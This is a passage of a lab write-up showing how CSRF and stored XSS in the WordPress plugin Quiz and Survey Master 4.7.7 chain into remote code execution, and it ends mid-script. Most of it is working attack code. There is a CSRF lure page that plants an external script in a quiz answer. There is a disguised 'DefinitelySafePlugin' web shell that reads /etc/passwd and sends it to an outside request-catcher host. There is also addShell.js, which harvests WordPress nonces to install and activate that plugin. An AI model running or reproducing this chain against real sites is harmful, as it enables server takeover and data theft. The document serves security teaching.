May 28, 2026
Chaining CSRF and XSS to Remote Code Execution in a WordPress Plugin
A step-by-step walkthrough of how two limited vulnerabilities in Quiz and Survey Master 4.7.7 can be chained into full server compromise.
arian_lord3
15 min read
Quiz and Survey Master 4.7.7 Vulnerabilities: Chaining CSRF and XSS in a WordPress Plugin
Recently, during Voorivex's OWASP Top 10 class we were tasked to find and exploit CSRF and XSS vulnerabilities in a vulnerable WordPress plugin: Quiz and Survey Master (v4.7.7). As a bonus objective, we were challenged to chain the vulnerabilities together and demonstrate how a seemingly limited bug could lead to a much more serious impact in a controlled environment. After identifying the vulnerabilities, I spent a full day building a proof of concept that behaved more like a realistic attack chain than a single isolated payload. The goal was simple: reduce the amount of manual interaction required and show how one vulnerability could be used to trigger the next stage of the attack.
Although the challenge was more time-consuming than difficult, it was incredibly rewarding. It gave me hands-on experience with real-world vulnerability chaining and helped shape the way I approach security testing, especially in a bug bounty and web application security context.
Ethical note: This write-up is based on a controlled lab environment created for educational purposes. The techniques discussed here should only be tested in systems you own or are explicitly authorized to assess.
Overview
In this write-up, I walk through the process of identifying a stored XSS vector, confirming a CSRF weakness, and chaining them together to demonstrate a higher-impact attack path.
The article is divided into the following sections:
- Setting up the vulnerable WordPress environment
- Finding the stored XSS vector
- Finding the CSRF vector
- Chaining CSRF with stored XSS
- Identifying a high-impact post-exploitation path
- Chaining the XSS into the final impact
- Proof of Concept
- Resources
- Final thoughts
STEP 1: Setting Up the Vulnerable WordPress Environment
Download the vulnerable WordPress package:
https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/wp-docker.tar.gz
You can also download WordPress and set up the vulnerable plugin separately. Follow the installation instructions in the included README.md.
ARM64 / Apple Silicon
If you see the following error, your host architecture is not supported by the wordpress:5.2 and mysql:5.7 images used in the lab.
no matching manifest for linux/arm64/v8 in the manifest list entriesno matching manifest for linux/arm64/v8 in the manifest list entriesAdd platform: linux/amd64 so Docker emulates amd64:
services:
db:
image: mysql:5.7
platform: linux/amd64
wordpress:
image: wordpress:5.2
platform: linux/amd64services:
db:
image: mysql:5.7
platform: linux/amd64
wordpress:
image: wordpress:5.2
platform: linux/amd64Run bash install.sh. If port 8000 is free, the site is available at http://localhost:8000:
Almost there, Now let's navigate to localhost:8000/wp-login and set up our website with the desired credentials and give it a name. Let's call it Mamad's website. Once done, we will see the admin panel and STEP 1 is done.
STEP 2: Finding the Stored XSS Vector
After activating Quiz and Survey Master, I explored the plugin UI. The Add New button creates a quiz — so I created one named:<script>alert(origin)</script>
Hmm, when I reload the admin panel the script is not being executed and there's no alerts. so the quiz name field was not the vector :(
Let's try editing the quiz. Editing the quiz revealed many input fields, hence many possible attack vectors. I tried a classic payload in several places: <img/src/onerror=alert(origin)>
Now let's create the question and preview the quiz to see if anything happens…
Amazing, creating a question and previewing the quiz triggered the alert — but only once, which suggests only a single vulnerable field (the alert popped up only once which means only one of the input fields was vulnerable).
Two follow-up questions:
- Which field was vulnerable?
- Could I load external JavaScript (e.g.
<script src="...">) instead of inline handlers?
Testing fields one by one showed the Answer field was vulnerable:
<script src="https://example.com/payload.js"></script>.
This is stored XSS: submitted answers persist on the server and render for anyone who views the quiz — similar to XSS in comment sections.
IMPORTANT NOTE: Sending HTTP requests with the script we inject here has a huge advantage. since the script will be embedded within the website itself, SOP won't block the response and it can access the response. This means we can send a series of requests, each of which depend on certain information in the response of the previous request.
With that in mind let's move on to Step 3.
STEP 3: Finding the CSRF vector
I inspected session cookies. Every relevant cookie had SameSite=None.
That means cookies are sent on cross-site requests regardless of how the victim reaches WordPress (top-level navigation, embedded content, etc.). Cross-site requests include authentication cookies and the server processes them — but due to SOP, the attacker's page cannot read the response body.
With CSRF and XSS both present, we can lay the foundation of our attack. If we can find a way use CSRF to inject a self-executing
<script src='malicious-code-url'></script>into the page of any quiz ,we are golden. Once the script is loaded in the page of the quiz it can automatically execute any series of actions that we want to. That's because once it's embedded in the page of the quiz SOP won't be blocking it anymore.
STEP 4: Chaining CSRF with Stored XSS I hosted an empty placeholder at: https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/addShell.js. The immediate goal is to get that URL loaded via the vulnerable Answer field.
Reproducing the "create question" request
Let's investigate the york exam quiz that we created earlier to see how a new question is created.
It seems that Create Question button submits a form. I created a question named HACKED with this Answer payload: <script src="https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/addShell.js"></script>.
In DevTools → Sources, addShell.js appeared on the quiz page (empty for now—that was enough to confirm external script loading).
From the browser Network tab (Firefox: Copy as Fetch), the core POST request looks like this (trimmed):
await fetch("http://localhost:8000/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=2#", {
"credentials": "include",
"headers": {
"Content-Type": "application/x-www-form-urlencoded",
},
"body": `question_type=0&
question_name=HACKED&
answer_1=%3Cscript+src%3D%22https%3A%2F%2Farian-lrd.github.io%2Fpublic-resources%2Fquiz-master-4.7.7%2FaddShell.js%22%3E%3C%2Fscript%3E&
answer_1_points=0&correct_answer_info=&
hint=&comments=1&new_question_order=1&
required=0&new_new_category=&new_question_answer_total=1&
question_submission=new_question&quiz_id=2&question_id=0`,
"method": "POST"
});await fetch("http://localhost:8000/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=2#", {
"credentials": "include",
"headers": {
"Content-Type": "application/x-www-form-urlencoded",
},
"body": `question_type=0&
question_name=HACKED&
answer_1=%3Cscript+src%3D%22https%3A%2F%2Farian-lrd.github.io%2Fpublic-resources%2Fquiz-master-4.7.7%2FaddShell.js%22%3E%3C%2Fscript%3E&
answer_1_points=0&correct_answer_info=&
hint=&comments=1&new_question_order=1&
required=0&new_new_category=&new_question_answer_total=1&
question_submission=new_question&quiz_id=2&question_id=0`,
"method": "POST"
});Important parameters and their role:
answer_1→ XSS / external script URLquiz_id→ Target quiz (URL query and body)
An unauthenticated attacker still needs quiz_id and the public quiz slug. Both are discoverable from the public quiz URL( e.g. ?quiz=york-exam), and the page source code:
• quizForm2 → quizForm${quizID}
• <input class="qmn_quiz_id" value="2"/> → quizID
CSRF delivery page
If an admin visits a malicious page while logged in, fetch(..., { credentials: "include" }) sends their session cookies and creates the poisoned question.
Example attacker page (freeBurger.html):
<!DOCTYPE html>
<head>
<title>Burger!</title>
<link rel="icon" type="image/x-icon" href="https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/favicon-burger.png">
</head>
<style>...</style>
<body>
<h4 id="welcomeMessage">Hi Admin, you must be very tired. </br>Here is a BURGER for you</h4>
<p style="display: none;">Ha Ha Ha, Who gives out free burgers in this economy?</p>
<iframe id="youTubeVideo">...</iframe>
</body>
<script>
//1. Extract quizID & quizName from the publicly visible page of the quiz
let quizID=2;
let quizName='york-exam'
//2. Create the new question form data
let payload = new URLSearchParams({
question_type: '0',
question_name: 'HACKED',
correct_answer_info: '',
hint: '',
answer_1: '<script src="https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/addShell.js"><\/script>',
answer_1_points: '0',
comments: '1',
new_question_order: '1',
required: '0',
new_new_category: '',
new_question_answer_total: '1',
question_submission: 'new_question',
quiz_id: quizID,
question_id: '0'
})
//3. Send the create new question request
// Will work because of the CSRF vulnerability
fetch(`http://localhost:8000/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=${quizID}`, {
method: 'POST',
credentials: 'include',
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: payload.toString()
}).finally(()=> {
//4. After injecting the quiz page with malicious JS, navigate to that page
// This will cause the injected JS & Web Shell execute immediately
// Alternatively - Exclude this and wait for the admin to visit the quiz page
setTimeout(() => {
//visit malicious quiz to execute the payload
window.location.href= `http://localhost:8000/?quiz=${quizName}`
}, 10000); //wait for 10 seconds
});
</script>
<!DOCTYPE html>
<head>
<title>Burger!</title>
<link rel="icon" type="image/x-icon" href="https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/favicon-burger.png">
</head>
<style>...</style>
<body>
<h4 id="welcomeMessage">Hi Admin, you must be very tired. </br>Here is a BURGER for you</h4>
<p style="display: none;">Ha Ha Ha, Who gives out free burgers in this economy?</p>
<iframe id="youTubeVideo">...</iframe>
</body>
<script>
//1. Extract quizID & quizName from the publicly visible page of the quiz
let quizID=2;
let quizName='york-exam'
//2. Create the new question form data
let payload = new URLSearchParams({
question_type: '0',
question_name: 'HACKED',
correct_answer_info: '',
hint: '',
answer_1: '<script src="https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/addShell.js"><\/script>',
answer_1_points: '0',
comments: '1',
new_question_order: '1',
required: '0',
new_new_category: '',
new_question_answer_total: '1',
question_submission: 'new_question',
quiz_id: quizID,
question_id: '0'
})
//3. Send the create new question request
// Will work because of the CSRF vulnerability
fetch(`http://localhost:8000/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=${quizID}`, {
method: 'POST',
credentials: 'include',
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: payload.toString()
}).finally(()=> {
//4. After injecting the quiz page with malicious JS, navigate to that page
// This will cause the injected JS & Web Shell execute immediately
// Alternatively - Exclude this and wait for the admin to visit the quiz page
setTimeout(() => {
//visit malicious quiz to execute the payload
window.location.href= `http://localhost:8000/?quiz=${quizName}`
}, 10000); //wait for 10 seconds
});
</script>
Flow:
- Discover
quizID/quizNamefrom the public quiz page. - CSRF POST injects the external script into an answer.
- Optional redirect after 10s forces execution immediately; otherwise wait until the admin opens the quiz.
Serve the HTML locally when testing, e.g.: python3 -m http.server 8080. Then lure the lab admin to http://127.0.0.1:8080/freeBurger.html (adjust host/port as needed).
We don't need admin privileges to find these. Let's just go to the public URL of the quiz as if we are a student or a random visitor. You'll quickly note that the quiz name is simply in the URL's query string. ?quiz=york-exam
And to find the quizID let's inspect the source code. We find two locations from which we can extract the quizID:
<form name='quizForm2' id='quizForm2' action='' method='post' class='qmn_quiz_form mlw_quiz_form' novalidate >→ quizForm${quizID}<input type='hidden' class='qmn_quiz_id' name='qmn_quiz_id' id='qmn_quiz_id' value='2'/>→ value='${quizID}'
Conditions for this stage:
- A public quiz exists to harvest
quizIDand slug. - The victim (admin) visits the attacker page while authenticated.
- victim must be a logged-in administrator (or role that can manage quizzes).
STEP 5: Finding the Web Shell Deployment vector
With arbitrary same-origin JavaScript execution confirmed, the next objective was remote code execution on the server via a web shell deployment.
What is a Web Shell? It's a malicious script uploaded to a web server that grants an attacker remote control — typically the ability to execute arbitrary shell commands.
The first step was identifying an upload vector within the WordPress admin panel:
- Posts / Pages / Comments → No upload capabilities
- Appearance → Add New Theme → PHP execution potentially possible via theme files
- Media → Upload Media → PHP execution typically blocked
- Tools → Redirects to Plugins library
- Plugins → Upload Plugin → High potential; plugins are PHP
Plugins stood out as the strongest path: upload a ZIP, activate it, and execute code. But how?
Inspecting the plugins page revealed a two-step process:
- Upload the plugin (manually or via the library)
- Activate the plugin
The question then became: can a plugin be written to execute shell commands upon activation? A quick look at the WordPress Plugin Handbook confirmed this is possible through hooks.
WordPress hooks allow you to tap into WordPress at specific points to modify behavior without touching core files. There are two types: actions (add or change functionality) and filters (alter content as it loads). Yess!
What's needed here is an action hook — specifically register_activation_hook(string $file, callable $callback), which fires when a plugin is activated.
This means any arbitrary function can be defined and registered to run at activation time. With that in mind, I wrote the following plugin — DefinitelySafePlugin.php:
<?php
/*
Plugin Name: DefinitelySafePlugin
Description: A web shell plugin. Runs shell command to extract "/etc/passwd". Then sends it to "https://arian.requestcatcher.com/test"
Version: 1.0
Author: Arian
*/
/**
* Register the "book" custom post type
*/
function webShell() {
//my webshell script to read files goes here
$exfilData = shell_exec('cat /etc/passwd | base64');
$url = "https://arian.requestcatcher.com/test";
//setup curl
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exfilData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Optional: timeout after 10 seconds
//sendout the curl
$response = curl_exec($ch);
//report back
if ($response === false) {
error_log("webShell failed to send request: " . curl_error($ch));
} else {
error_log("webShell request sent successfully.");
}
//close curl
curl_close($ch);
}
//call webShell() upon plugin activation
register_activation_hook( __FILE__, 'webShell' );<?php
/*
Plugin Name: DefinitelySafePlugin
Description: A web shell plugin. Runs shell command to extract "/etc/passwd". Then sends it to "https://arian.requestcatcher.com/test"
Version: 1.0
Author: Arian
*/
/**
* Register the "book" custom post type
*/
function webShell() {
//my webshell script to read files goes here
$exfilData = shell_exec('cat /etc/passwd | base64');
$url = "https://arian.requestcatcher.com/test";
//setup curl
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exfilData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Optional: timeout after 10 seconds
//sendout the curl
$response = curl_exec($ch);
//report back
if ($response === false) {
error_log("webShell failed to send request: " . curl_error($ch));
} else {
error_log("webShell request sent successfully.");
}
//close curl
curl_close($ch);
}
//call webShell() upon plugin activation
register_activation_hook( __FILE__, 'webShell' );On activation, webShell() reads /etc/passwd, base64-encodes it, and exfiltrates it via a POST request to a request bin at requestcatcher.com. (The arian subdomain in arian.requestcatcher.com is dynamically generated — you'd need to generate your own when replicating this.)
The plugin's file structure:
DefinitelySafePlugin.zip
└── DefinitelySafePlugin/
└── DefinitelySafePlugin.phpDefinitelySafePlugin.zip
└── DefinitelySafePlugin/
└── DefinitelySafePlugin.php
After uploading and activating the plugin, the POST request appeared in the request bin — confirming successful web shell deployment. From this point, the cat /etc/passwd command could be replaced with anything: extracting sensitive files, establishing a reverse shell, and so on.
With the entry point (CSRF → XSS injection) and the end goal (malicious plugin) established, the missing piece was the JavaScript payload to bridge them — a script that, once loaded, automatically installs and activates the plugin.
STEP 6: Chaining XSS to Web Shell vector
Two important WordPress mechanics are worth establishing before walking through the chain.
WordPress nonces (_wpnonce): WordPress uses single-use tokens to validate certain privileged actions. Each nonce is scoped per user per action, meaning the nonce for plugin installation differs from the nonce for activation. Once used or expired, a new nonce is issued on the next page load. For the attack to work both nonces need to be retrieved.
Plugin hosting: Since the plugin can't be uploaded directly from the attacker's machine during execution, it's hosted on GitHub and downloaded to the admin's browser during the attack: https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/DefinitelySafePlugin.zip
Attack steps from the perspective of the injected script:
The script is loaded inside a quiz page — with no plugin-related nonces present. In order for the script to be able to install and then activate the plugin, it must fetch them dynamically before acting. The full sequence:
- GET the plugin installation page
- Extract the installation
_wpnonce - POST to install the plugin (with nonce)
- GET the plugins management page
- Extract the activation
_wpnonce - GET the activation URL (with nonce)
Stages 1 & 2 — Fetch the installation nonce:
After navigating to the plugin installation page we can inspect the "Install Now" button:
Inspecting the plugin installation page reveals two key pieces of information. First, the upload endpoint is visible in the address bar: http://localhost:8000/wp-admin/plugin-install.php. Second, the "Install Now" button submits a form containing a hidden input field that holds the installation _wpnonce. While the end goal is to submit this form to upload the plugin, the immediate priority is extracting that nonce so it can be included in the POST request. With that understood, here's the JavaScript for steps 1 and 2:
const pluginName = "DefinitelySafePlugin";
// Fetch the plugin-installation page
fetch("http://localhost:8000/wp-admin/plugin-install.php", {
credentials: "include",
})
.then(res => res.text())
.then(html =>{
// Parse the page
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Extract the installation wpnonce
const nonceContainer = doc.querySelector("form.wp-upload-form[action*='upload-plugin'] input[type='hidden']#_wpnonce[name='_wpnonce']");
const installation_wpNonce = nonceContainer?.getAttribute("value");
// Error if nonce wasn't found
if (!installation_wpNonce) {
console.warn("Plugin installation nonce not found");
return;
}
})const pluginName = "DefinitelySafePlugin";
// Fetch the plugin-installation page
fetch("http://localhost:8000/wp-admin/plugin-install.php", {
credentials: "include",
})
.then(res => res.text())
.then(html =>{
// Parse the page
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Extract the installation wpnonce
const nonceContainer = doc.querySelector("form.wp-upload-form[action*='upload-plugin'] input[type='hidden']#_wpnonce[name='_wpnonce']");
const installation_wpNonce = nonceContainer?.getAttribute("value");
// Error if nonce wasn't found
if (!installation_wpNonce) {
console.warn("Plugin installation nonce not found");
return;
}
})As seen in the code, I used querySelector to extract _wpnonce from the installation form.
Stage 3 — Install the plugin:
The next step is sending a POST request that imitates the upload form. Since the form uses enctype="multipart/form-data", the plugin ZIP needs to be fetched and converted to a Blob first.
To understand exactly what needs to be replicated, I submitted the form manually with a local ZIP file and captured via DevTools (Network → Copy as Fetch). The raw result looks like this:
await fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
method: "POST",
mode: "cors",
credentials: "include",
headers: {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "multipart/form-data; boundary=----geckoformboundary759f90eb0559014db699ebeb5b7ba3b9",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Referer": "http://localhost:8000/wp-admin/plugin-install.php"
},
body: `------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wpnonce"\r
\r
17c5e064fa\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wp_http_referer"\r
\r
/wp-admin/plugin-install.php\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="pluginzip"; filename="a.zip"\r
Content-Type: application/zip\r
\r
<binary zip file bytes here>\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="install-plugin-submit"\r
\r
Install Now\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9--\r`
});await fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
method: "POST",
mode: "cors",
credentials: "include",
headers: {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "multipart/form-data; boundary=----geckoformboundary759f90eb0559014db699ebeb5b7ba3b9",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Priority": "u=0, i",
"Referer": "http://localhost:8000/wp-admin/plugin-install.php"
},
body: `------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wpnonce"\r
\r
17c5e064fa\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wp_http_referer"\r
\r
/wp-admin/plugin-install.php\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="pluginzip"; filename="a.zip"\r
Content-Type: application/zip\r
\r
<binary zip file bytes here>\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="install-plugin-submit"\r
\r
Install Now\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9--\r`
});Noisy, but informative. Stripping the browser-specific headers down to what actually matters:
await fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "multipart/form-data; boundary=----geckoformboundary759f90eb0559014db699ebeb5b7ba3b9",
},
body: `------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wpnonce"\r
\r
17c5e064fa\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wp_http_referer"\r
\r
/wp-admin/plugin-install.php\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="pluginzip"; filename="a.zip"\r
Content-Type: application/zip\r
\r
<binary zip file bytes here>\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="install-plugin-submit"\r
\r
Install Now\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9--\r`
});await fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "multipart/form-data; boundary=----geckoformboundary759f90eb0559014db699ebeb5b7ba3b9",
},
body: `------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wpnonce"\r
\r
17c5e064fa\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="_wp_http_referer"\r
\r
/wp-admin/plugin-install.php\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="pluginzip"; filename="a.zip"\r
Content-Type: application/zip\r
\r
<binary zip file bytes here>\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9\r
Content-Disposition: form-data; name="install-plugin-submit"\r
\r
Install Now\r
------geckoformboundary759f90eb0559014db699ebeb5b7ba3b9--\r`
});Looking at the body, the request sends four parameters:
_wpnonce— the installation nonce extracted in the previous step_wp_http_referer— the referring page (safe to omit in the imitation)pluginzip— the ZIP file as binaryinstall-plugin-submit— the submit button value (Install Now)
Rather than constructing raw multipart boundaries by hand, FormData handles all of that automatically. Here's the final implementation:
// Store the plugin URL in a variable
const zipUrl = `https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/${pluginName}.zip`;
// Fetch the plugin's zip file
fetch(zipUrl)
.then(r => r.blob()) // Convert the response body to a Blob
.then(zipBlob => {
console.log(`Web Shell ${pluginName} retrieved successfully`);
// Create the Form
const form = new FormData();
form.append('_wpnonce', installation_wpNonce);
form.append('pluginzip', zipBlob, `${pluginName}.zip`);
form.append('install-plugin-submit', 'Install Now');
// Imitate the form's POST to install the plugin
// since this will be inside the .then chain of the previous fetch
// and before the .then of the next fetch => we use 'return fetch'
return fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
credentials: 'include',
method: 'POST',
body: form
});
})
// Store the plugin URL in a variable
const zipUrl = `https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/${pluginName}.zip`;
// Fetch the plugin's zip file
fetch(zipUrl)
.then(r => r.blob()) // Convert the response body to a Blob
.then(zipBlob => {
console.log(`Web Shell ${pluginName} retrieved successfully`);
// Create the Form
const form = new FormData();
form.append('_wpnonce', installation_wpNonce);
form.append('pluginzip', zipBlob, `${pluginName}.zip`);
form.append('install-plugin-submit', 'Install Now');
// Imitate the form's POST to install the plugin
// since this will be inside the .then chain of the previous fetch
// and before the .then of the next fetch => we use 'return fetch'
return fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
credentials: 'include',
method: 'POST',
body: form
});
})
The plugin is now installed. The next steps — fetching the activation nonce and triggering activation — follow the same pattern, so they'll come together quickly.
Note that these two code snippets will be chained together so that they are executed one after another.
Stages 4 & 5 — Fetch the activation nonce:
With the plugin installed but not yet activated, it now appears in the plugins list alongside an "Activate" link — as seen below. That link is what holds the activation _wpnonce.
Inspecting it reveals that the nonce is embedded inside a URL within an <a> tag, a few levels deep in the table markup. The querySelector to reach it reflects that:
const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);With that selector confirmed, the full fetch to retrieve and extract the nonce:
return fetch ("http://localhost:8000/wp-admin/plugins.php", {
credentials: 'include'
})
.then(res => res.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Retrieve the activation wpnonce
const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);
// Error if activation wpnonce not found
if (!activation_wpNonce) {
console.warn(`Activation nonce for ${pluginName} not found`);
return;
}
})return fetch ("http://localhost:8000/wp-admin/plugins.php", {
credentials: 'include'
})
.then(res => res.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Retrieve the activation wpnonce
const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);
// Error if activation wpnonce not found
if (!activation_wpNonce) {
console.warn(`Activation nonce for ${pluginName} not found`);
return;
}
})All that's left is following the activation link.
Step 6 — Activate the plugin:
As seen in the screenshot below, the "Activate" link is simply a URL containing the plugin name and _wpnonce as query parameters.
Triggering activation is therefore just a credentialed GET request:
fetch(`http://localhost:8000/wp-admin/plugins.php?action=activate&plugin=${pluginName}%2F${pluginName}.php&_wpnonce=${activation_wpNonce}`)fetch(`http://localhost:8000/wp-admin/plugins.php?action=activate&plugin=${pluginName}%2F${pluginName}.php&_wpnonce=${activation_wpNonce}`)With all six stages defined, they can now be chained into a single function. This is the final contents of addShell.js — the file hosted on GitHub that gets loaded by the XSS vector and runs the full attack automatically:
function addPlugin() {
const pluginName = "DefinitelySafePlugin";
// STAGE 1- fetch the plugin-installation wpnonce
fetch("http://localhost:8000/wp-admin/plugin-install.php", {
credentials: "include",
})
.then(res => res.text())
.then(html => {
// Parse the page
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Extract the installation wpnonce
const nonceContainer = doc.querySelector("form.wp-upload-form[action*='upload-plugin'] input[type='hidden']#_wpnonce[name='_wpnonce']");
const installation_wpNonce = nonceContainer?.getAttribute("value");
// Error if nonce wasn't found
if (!installation_wpNonce) {
console.warn("Plugin installation nonce not found");
return;
}
// STAGE 2 - install the plugin
const zipUrl = `https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/${pluginName}.zip`;
// Fetch the plugin's zip file
fetch(zipUrl)
.then(r => r.blob())
.then(zipBlob => {
console.log(`Web Shell ${pluginName} retrieved successfully`);
// Create the plugin installation Form
const form = new FormData();
form.append('_wpnonce', installation_wpNonce);
form.append('pluginzip', zipBlob, `${pluginName}.zip`);
form.append('install-plugin-submit', 'Install Now');
// Imitate the form's POST to install the plugin
return fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
credentials: 'include',
method: 'POST',
body: form
});
})
.then(() => {
console.log(`${pluginName} was installed successfully`);
// STAGE 3 - fetch the activation nonce
return fetch("http://localhost:8000/wp-admin/plugins.php", {
credentials: 'include'
});
})
.then(res => res.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Retrieve the activation wpnonce
const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);
// Error if activation wpnonce not found
if (!activation_wpNonce) {
console.warn(`Activation nonce for ${pluginName} not found`);
return;
}
// STAGE 4 - Activate the plugin
return fetch(`http://localhost:8000/wp-admin/plugins.php?action=activate&plugin=${pluginName}%2F${pluginName}.php&_wpnonce=${activation_wpNonce}`, {
credentials: 'include'
});
})
.then(() => {
console.log(`${pluginName} was activated successfully`);
});
});
}
// execute the function
addPlugin();function addPlugin() {
const pluginName = "DefinitelySafePlugin";
// STAGE 1- fetch the plugin-installation wpnonce
fetch("http://localhost:8000/wp-admin/plugin-install.php", {
credentials: "include",
})
.then(res => res.text())
.then(html => {
// Parse the page
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Extract the installation wpnonce
const nonceContainer = doc.querySelector("form.wp-upload-form[action*='upload-plugin'] input[type='hidden']#_wpnonce[name='_wpnonce']");
const installation_wpNonce = nonceContainer?.getAttribute("value");
// Error if nonce wasn't found
if (!installation_wpNonce) {
console.warn("Plugin installation nonce not found");
return;
}
// STAGE 2 - install the plugin
const zipUrl = `https://arian-lrd.github.io/public-resources/quiz-master-4.7.7/${pluginName}.zip`;
// Fetch the plugin's zip file
fetch(zipUrl)
.then(r => r.blob())
.then(zipBlob => {
console.log(`Web Shell ${pluginName} retrieved successfully`);
// Create the plugin installation Form
const form = new FormData();
form.append('_wpnonce', installation_wpNonce);
form.append('pluginzip', zipBlob, `${pluginName}.zip`);
form.append('install-plugin-submit', 'Install Now');
// Imitate the form's POST to install the plugin
return fetch("http://localhost:8000/wp-admin/update.php?action=upload-plugin", {
credentials: 'include',
method: 'POST',
body: form
});
})
.then(() => {
console.log(`${pluginName} was installed successfully`);
// STAGE 3 - fetch the activation nonce
return fetch("http://localhost:8000/wp-admin/plugins.php", {
credentials: 'include'
});
})
.then(res => res.text())
.then(html => {
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
// Retrieve the activation wpnonce
const nonceContainer = doc.querySelector(`tr[data-plugin='${pluginName}/${pluginName}.php'] td span a`);
const activation_wpNonce = nonceContainer?.getAttribute("href").split('_wpnonce=')[1]?.substring(0, 10);
// Error if activation wpnonce not found
if (!activation_wpNonce) {
console.warn(`Activation nonce for ${pluginName} not found`);
return;
}
// STAGE 4 - Activate the plugin
return fetch(`http://localhost:8000/wp-admin/plugins.php?action=activate&plugin=${pluginName}%2F${pluginName}.php&_wpnonce=${activation_wpNonce}`, {
credentials: 'include'
});
})
.then(() => {
